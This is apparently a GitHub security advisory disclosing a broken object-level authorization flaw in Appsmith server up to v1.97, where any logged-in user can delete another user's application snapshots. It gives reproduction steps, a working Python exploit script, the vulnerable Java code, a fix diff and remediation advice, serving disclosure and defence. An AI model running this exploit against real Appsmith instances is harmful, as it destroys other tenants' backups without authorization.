Skip to content

[HIGH] Broken Object-Level Authorization Allows Non-Owner to Delete Application Snapshots

Moderate
subrata71 published GHSA-g2hc-wmw2-32jr Mar 24, 2026

Package

appsmith/appsmith-server

Affected versions

<= v1.97

Patched versions

v1.98

Description

Found autonomously by strix.ai

Description

A broken object-level authorization (IDOR/BOLA) vulnerability was identified in the application snapshot deletion endpoint. The server accepts a user-controlled application identifier in the request path and deletes snapshot data without validating that the authenticated user has access to the referenced application.

This allows any authenticated user to delete snapshots belonging to other users/tenants by supplying a target application ID. During validation, a non-owner account that could not access or export the target application was still able to delete its snapshot successfully.

ID Discoverability
While Application IDs are 24-character hex strings, they are trivially discoverable in public-facing applications. An unauthenticated attacker can extract the applicationId directly from the HTML source code or background API traffic of any published public app, then use their own account to destroy its backups. This is true even of the hosted appsmith.com.

Impact

An attacker with any authenticated account can delete snapshots for applications they do not own or have access to. This enables cross-tenant sabotage by destroying backup/restore points and preventing users from restoring prior application state via snapshot functionality.

Business impact includes loss of integrity of backup artifacts, interruption of recovery workflows, and increased operational risk in multi-tenant environments where application IDs can be obtained or guessed.

Technical Analysis

The vulnerable behavior is implemented in the snapshot deletion service method, which directly deletes snapshot records by application ID without performing an authorization check.

ApplicationSnapshotServiceCEImpl.deleteSnapshot calls applicationSnapshotRepository.deleteAllByApplicationId(branchedApplicationId) and returns success unconditionally. Unlike restoreSnapshot, which explicitly calls applicationService.findById(..., applicationPermission.getEditPermission()), the delete path does not verify that the caller has edit (or any) permission on the application.

As a result, an authenticated user can delete snapshot data for any application ID, even when other privileged snapshot operations (e.g., snapshot creation) correctly fail due to missing permissions.

Proof of Concept

Preconditions:

  • Two authenticated users exist: User A (owner of the target application) and User B (non-owner).
  • An application ID belonging to User A is known (e.g., from normal UI/API usage).

Steps to reproduce:

  1. Authenticate as User A and create a snapshot:
    • Send POST /api/v1/applications/snapshot/<APP_ID> with header X-Requested-By: Appsmith.
    • Observe 201 with data: true.
  2. Confirm the snapshot exists:
    • Send GET /api/v1/applications/snapshot/<APP_ID>.
    • Observe a non-null data.updatedTime timestamp.
  3. Authenticate as User B (who has no access to User A’s application) and confirm lack of access:
    • POST /api/v1/applications/snapshot/<APP_ID> with X-Requested-By: Appsmith returns 404 (no resource found).
    • GET /api/v1/applications/export/<APP_ID> returns 404 (no resource found).
  4. As User B, delete User A’s snapshot:
    • Send DELETE /api/v1/applications/snapshot/<APP_ID> with header X-Requested-By: Appsmith.
    • Observe 200 with data: true.
  5. Verify the snapshot was deleted for User A (and can be observed without elevated privileges):
    • GET /api/v1/applications/snapshot/<APP_ID> now returns data.updatedTime: null for User A and for unauthenticated callers.

Observed validation example (sanitized):

  • User A created snapshot and saw updatedTime set.
  • User B could not create snapshot (404) but could delete snapshot (200).
  • After deletion, updatedTime became null.
import re
import time
import urllib.parse

import requests


BASE_URL = "http://127.0.0.1:8080"  # Replace with target base URL
PROXIES = {"http": None, "https": None}


def signup(email: str, password: str, name: str) -> dict:
    url = f"{BASE_URL}/api/v1/users"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-By": "Appsmith",
    }
    data = {"email": email, "password": password, "name": name}
    resp = requests.post(url, headers=headers, data=data, allow_redirects=False, timeout=25, proxies=PROXIES)
    return {
        "status": resp.status_code,
        "location": resp.headers.get("Location", ""),
        "cookies": resp.cookies.get_dict(),
        "body_head": resp.text[:200],
    }


def extract_app_id(location: str) -> str:
    # Example Location:
    # /signup-success?redirectUrl=%2Fapplications%2F<appId>%2Fpages%2F<pageId>%2Fedit&enableFirstTimeUserExperience=true
    parsed = urllib.parse.urlparse(location)
    qs = urllib.parse.parse_qs(parsed.query)
    redirect_url = urllib.parse.unquote(qs.get("redirectUrl", [""])[0])
    m = re.search(r"/applications/([0-9a-f]{24})/", redirect_url)
    if not m:
        raise RuntimeError(f"Could not extract appId from redirectUrl: {redirect_url!r}")
    return m.group(1)


def req(method: str, path: str, cookies=None, headers=None) -> requests.Response:
    url = f"{BASE_URL}{path}"
    h = {"Accept": "application/json"}
    if headers:
        h.update(headers)
    return requests.request(method, url, headers=h, cookies=cookies, allow_redirects=False, timeout=25, proxies=PROXIES)


def get_updated_time(app_id: str, cookies=None) -> str | None:
    r = req("GET", f"/api/v1/applications/snapshot/{app_id}", cookies=cookies)
    j = r.json()
    data = j.get("data")
    if isinstance(data, dict):
        return data.get("updatedTime")
    return None


def main() -> int:
    ts = int(time.time())

    user_a = {"email": f"snap_a_{ts}@example.com", "password": "Password123!", "name": "snap a"}
    user_b = {"email": f"snap_b_{ts}@example.com", "password": "Password123!", "name": "snap b"}

    a = signup(user_a["email"], user_a["password"], user_a["name"])
    if a["status"] != 302:
        raise RuntimeError(f"User A signup failed: {a}")

    app_id = extract_app_id(a["location"])
    cookies_a = a["cookies"]

    b = signup(user_b["email"], user_b["password"], user_b["name"])
    if b["status"] != 302:
        raise RuntimeError(f"User B signup failed: {b}")

    cookies_b = b["cookies"]

    # 1) User A creates snapshot
    r_create_a = req(
        "POST",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_a,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User A create snapshot:", r_create_a.status_code, r_create_a.text[:120])

    # 2) Verify snapshot exists
    before = get_updated_time(app_id, cookies=cookies_a)
    print("Snapshot updatedTime (before):", before)
    if not before:
        raise RuntimeError("Expected non-null updatedTime before deletion")

    # 3) Prove user B lacks access (cannot create snapshot, cannot export app)
    r_create_b = req(
        "POST",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_b,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User B create snapshot (expected fail):", r_create_b.status_code, r_create_b.text[:160])

    r_export_b = req("GET", f"/api/v1/applications/export/{app_id}", cookies=cookies_b)
    print("User B export app (expected fail):", r_export_b.status_code, r_export_b.text[:160])

    # 4) Exploit: user B deletes user A snapshot
    r_delete_b = req(
        "DELETE",
        f"/api/v1/applications/snapshot/{app_id}",
        cookies=cookies_b,
        headers={"X-Requested-By": "Appsmith"},
    )
    print("User B delete snapshot (should NOT be allowed):", r_delete_b.status_code, r_delete_b.text[:120])

    # 5) Verify deletion (updatedTime becomes null)
    after_a = get_updated_time(app_id, cookies=cookies_a)
    after_unauth = get_updated_time(app_id, cookies=None)
    print("Snapshot updatedTime (after, userA):", after_a)
    print("Snapshot updatedTime (after, unauth):", after_unauth)

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Code Analysis

Location 1: app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/ApplicationSnapshotServiceCEImpl.java (lines 132-137)
Snapshot deletion performed without verifying the caller’s permission on the application (sink)

    @Override
  public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
      return applicationSnapshotRepository
              .deleteAllByApplicationId(branchedApplicationId)
              .thenReturn(Boolean.TRUE);
  }

Suggested Fix:

-     @Override
-     public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
-         return applicationSnapshotRepository
-                 .deleteAllByApplicationId(branchedApplicationId)
-                 .thenReturn(Boolean.TRUE);
-     }
+     @Override
+     public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
+         return applicationService
+                 .findById(branchedApplicationId, applicationPermission.getEditPermission())
+                 .switchIfEmpty(Mono.error(new AppsmithException(
+                         AppsmithError.NO_RESOURCE_FOUND, FieldName.APPLICATION, branchedApplicationId)))
+                 .flatMap(application -> applicationSnapshotRepository.deleteAllByApplicationId(application.getId()))
+                 .thenReturn(Boolean.TRUE);
+     }

Location 2: app/server/appsmith-server/src/main/java/com/appsmith/server/controllers/ce/ApplicationControllerCE.java (lines 219-227)
Publicly reachable delete endpoint; relies on service-layer authorization

    @JsonView(Views.Public.class)
  @DeleteMapping("/snapshot/{branchedApplicationId}")
  public Mono<ResponseDTO<Boolean>> deleteSnapshotWithoutApplicationJson(@PathVariable String branchedApplicationId) {
      log.debug("Going to delete snapshot with application branchedApplicationId: {}", branchedApplicationId);

      return applicationSnapshotService
              .deleteSnapshot(branchedApplicationId)
              .map(isDeleted -> new ResponseDTO<>(HttpStatus.OK, isDeleted));
  }

Remediation

  1. Enforce object-level authorization in snapshot deletion

    • Before deleting snapshots, resolve the application using applicationService.findById(branchedApplicationId, applicationPermission.getEditPermission()) (or equivalent) and fail when the caller lacks permission.
    • Only after the permission check passes should deleteAllByApplicationId be executed.
  2. Align authorization across snapshot operations

    • Ensure create/restore/delete all enforce the same application permissions.
    • Add regression tests that verify a non-owner cannot delete snapshots for another user’s application.
  3. Consider restricting snapshot metadata exposure

    • If not explicitly required, avoid exposing snapshot metadata (updatedTime) to unauthenticated callers on GET /api/v1/applications/snapshot/{id}. If exposure is needed, still bind it to view permission.

found by using https://github.com/usestrix/strix in collaboration with 0xallam

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CVE ID

No known CVE

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits